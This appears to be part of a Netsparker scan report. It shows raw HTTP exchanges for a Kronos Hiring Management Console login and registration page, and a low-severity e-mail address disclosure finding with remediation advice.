GET /hmc/report/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: hourly.deploy.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:41:27 GMT Server: Apache/2.0.46 (Red Hat) Set-Cookie: JSESSIONID=2630f67aff96573f4e49;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/,CFAUTHORIZATION_hmc5_prod_delroy=;expires=Sun, 25-Apr-2010 13:41:27 GMT;path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:41:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html><head><title>Login</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="/styles/albertson2_3_production_Sep24/hmc.css" rel="stylesheet" type="text/css"><script src="../javascript/display.js" type="text/javascript"></script></head><body onLoad="document.form1.j_username.focus();" link="#666666" vlink="#666666" alink="#666666"> <form name="form1" action="/hmc/report/index.cfm?" method="post"><p> </p> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="340"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td height="86" align="center"> <a href="http://www.deploy.com"><img src="/images/logo.jpg" border="0"></a> </td> </tr> <tr> <td height="46" class="formCopy" align="center"> <br/> Welcome to<strong> Kronos Hiring Management Console</strong>.<br/> <br/> Please enter your username and password. <br> <br/> New user? <a href="?register=1">Click here</a> to register. <br/> </td> </tr> <tr> <td height="155" align="center"> <script> function checkEnter() { if (window.event.keyCode == 13) /* they hit enter */ document.form1.submit(); } </script> <table border="0" cellpadding="3" cellspacing="0" width="300" height="100"> <tbody> <tr> <td class="fieldLabel">Username:</td> <td><input name="j_username" type="text" tabindex="1" title="Username" size="25" maxlength="50" value="" onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center"> <table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();" title="Login >" > Login > </a> </td> <td class="flexbtn_r"></td> </tr> </table> </td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> <p> </p></body></html>
E-mail Address Disclosure
E-mail Address Disclosure
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
External References
gm12345@MyCompany.com
Request
GET /hmc/report/?register=1 HTTP/1.1 Referer: https://hourly.deploy.com/hmc/report/ User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: hourly.deploy.com Cookie: JSESSIONID=3e30aecfc2d1617d7f5d Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.0 200 OK Date: Mon, 25 Apr 2011 13:41:28 GMT Server: Apache/2.0.46 (Red Hat) Content-Language: en-US Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Mon, 25 Apr 2011 13:41:28 GMT Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <title>Register</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body onLoad="document.form1.name.focus();"><link rel="STYLESHEET" type="text/css" href="/styles/albertson2_3_production_Sep24/hmc.css"><SCRIPT>var alreadySubmitted = false;function doSubmitCheck(allReadyDone,theForm) { if (allReadyDone) { //do nothing //alert(''); } else { alreadySubmitted = true; document.getElementById('registerForm').style.display='none'; document.getElementById('registerInProgress').style.display='block'; theForm.submit(); } }</SCRIPT> <form name="form1" action="/hmc/report/index.cfm?register=1" method="post" onSubmit="document.form1.register.disabled='disabled';"> <TABLE class="drawBox" align="center" BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH="650"><!-- RoundedBox Table --> <TR> <TD class="FlexBox_ul"></TD> <TD class="FlexBox_top"></TD> <TD class="FlexBox_ur"></TD> </TR> <TR> <TD class="FlexBox_left"></TD> <TD class="FlexBoxContent"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td valign="middle" class="smallGray" style="padding-left: 10px; "> <img src="/images/logo.jpg" width="255" height="75"> <br/> <p style="width:240px; padding-left: 10px;"> <span class="largeBoldAccent">Verify Authorization</span> <br/> Your company has provided us with information in order to authorize you to register with Kronos. <br/> <br/> In order to verify your authorization to register we need the following information: </p> <img src="/images/blank.gif" width="1" height="75"> </td> <td> <div id="registerInProgress" style="display:none"> <TABLE width=340 height="380" bgcolor="#FFFFFF" style="border: 1px solid CCCCCC;" border=0 align="center" cellPadding=0 cellSpacing=0> <TBODY style="padding:14px;"> <TR> <TD vAlign=middle align="center"> <img src="/images/registrationprogress.gif" alt="Registration In Progress" width="200" height="40" border="0"> </TD> </TR> </TBODY> </TABLE> </div> <div id="registerForm"> <TABLE width=340 height="380" bgcolor="#FFFFFF" style="border: 1px solid CCCCCC;" border=0 align="center" cellPadding=0 cellSpacing=0> <TBODY style="padding:8px;"> <TR> <TD width="135" vAlign=top class="fieldLabel">Registration ID:</TD> <TD width="200" class="smallGray"><input class="reportfilter" name="name" type="text" size="25" maxlength="50"> <br> <em>Example:</em> MyCompany12345<br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Store Number:</TD> <TD><input class="reportfilter" name="storenum" type="text" size="10" maxlength="50"><br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Choose a Username:</TD> <TD class="smallGray"><input class="reportfilter" name="j_username" type="text" size="25" maxlength="50"> <BR> The username you provide will be used each time you log on to Kronos.<br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Choose a Password:</TD> <TD class="smallGray"><input class="reportfilter" name="j_password" type="password" size="25" maxlength="25"> <BR> Your password must be at least 6 characters.<br></TD> </TR> <TR> <TD vAlign=top class="fieldLabel">Retype Password:</TD> <TD class="smallGray"><input class="reportfilter" name="j_passwordconfirm" type="password" size="25" maxlength="25"> <BR> Please confirm the password you have just entered.<br></TD> </TR> <TR> <TD noWrap vAlign=top class="fieldLabel">Enter Email Address:</TD> <TD class="smallGray"><input class="reportfilter" name="email" type="text" size="25" maxlength="100"> <BR> <em>Example:</em> gm12345@MyCompany.com</TD> </TR> <TR> <TD align=right colSpan=2> <table class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="right"> <tr> <td class="flexbtn_l"></td> <td class="flexbtn_m" nowrap> <a access= "1" class="flexbtn_m" href="javascript:doSubmitCheck(alreadySubmitted,document.form1);" title="Register" > Register </a> </td> <td class="flexbtn_r"></td> </tr> </table> </TD></FORM> </TR> </TBODY> </TABLE> </div> </td> </tr> </table> </TD> <TD class="FlexBox_right"></TD> </TR> <TR> <TD class="FlexBox_ll"></TD> <TD class="FlexBox_bot"></TD> <TD class="FlexBox_lr"></TD> </TR> </TABLE> </body> </html>